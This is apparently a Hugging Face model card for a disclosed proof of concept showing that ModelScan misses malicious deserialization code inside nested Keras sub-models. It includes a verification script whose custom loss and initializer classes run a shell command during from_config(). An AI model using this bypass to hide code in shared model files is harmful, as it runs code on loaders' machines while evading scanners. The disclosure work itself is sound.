Run this model with HF Jobs

Run xiaoyaoes/modelscan-nested-model-bypass on Hugging Face's managed compute, monitor its progress, and retrieve the results when it's done.

Paste one of these prompts into your coding agent:

Fine-tune on my dataset

Use HF Jobs to fine-tune https://huggingface.co/xiaoyaoes/modelscan-nested-model-bypass. Ask me which dataset to train on, then push the fine-tuned model to a new model repo. Run `hf jobs --help` first to learn the CLI.

Run batch inference

Use HF Jobs to run batch inference with https://huggingface.co/xiaoyaoes/modelscan-nested-model-bypass on the inputs in a mounted HF Bucket. Ask me which Bucket to use, then write the outputs back to it and keep each input ID. Run `hf jobs --help` first to learn the CLI.
How to use from the
Use from the
Keras library
# !pip install -U keras tensorflow huggingface_hub
# Keras needs TensorFlow installed to read "hf://" paths, so the tensorflow backend is selected here;
# "jax" and "torch" also work for computation once TensorFlow is installed.
import os
os.environ["KERAS_BACKEND"] = "tensorflow"

import keras

model = keras.saving.load_model("hf://xiaoyaoes/modelscan-nested-model-bypass")

ModelScan Nested Model Bypass β€” All Deserialization Layers Invisible

What This Is

ModelScan only scans the TOP-LEVEL model's layers for class_name == "Lambda". When a model contains another model as a layer (Sequential/Functional sub-model), the ENTIRE internal structure β€” including compile_config, initializers, regularizers, constraints β€” is completely invisible.

This .keras file:

  • Outer model wraps a Sequential sub-model as a layer
  • Sequential has custom loss (NestedLoss>BadLoss) with malicious from_config()
  • Sequential has a layer with custom initializer (NestedInit>BadInit) with malicious from_config()
  • ModelScan: 0 Issues, 0 Errors, 0 Skipped

Verify

python3 -c "
import tensorflow as tf, keras, os

@keras.saving.register_keras_serializable(package='NestedLoss')
class BadLoss(tf.keras.losses.MeanSquaredError):
    @classmethod
    def from_config(cls, config):
        import os; os.system('id > /tmp/NL')
        return super().from_config(config)

@keras.saving.register_keras_serializable(package='NestedInit')
class BadInit(tf.keras.initializers.GlorotUniform):
    @classmethod
    def from_config(cls, config):
        import os; os.system('id > /tmp/NI')
        return super().from_config(config)

model = tf.keras.models.load_model('model.keras', safe_mode=False)
print('Loss RCE:', os.path.exists('/tmp/NL'))
print('Init RCE:', os.path.exists('/tmp/NI'))
"

Why This Matters

Nested models place their compile_config at layer.compile_config (not model.compile_config). Even if ModelScan fixes the top-level scan, nested sub-models provide an end-run.

Disclosure

Submitted to ProtectAI via huntr.dev.

Downloads last month
10
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support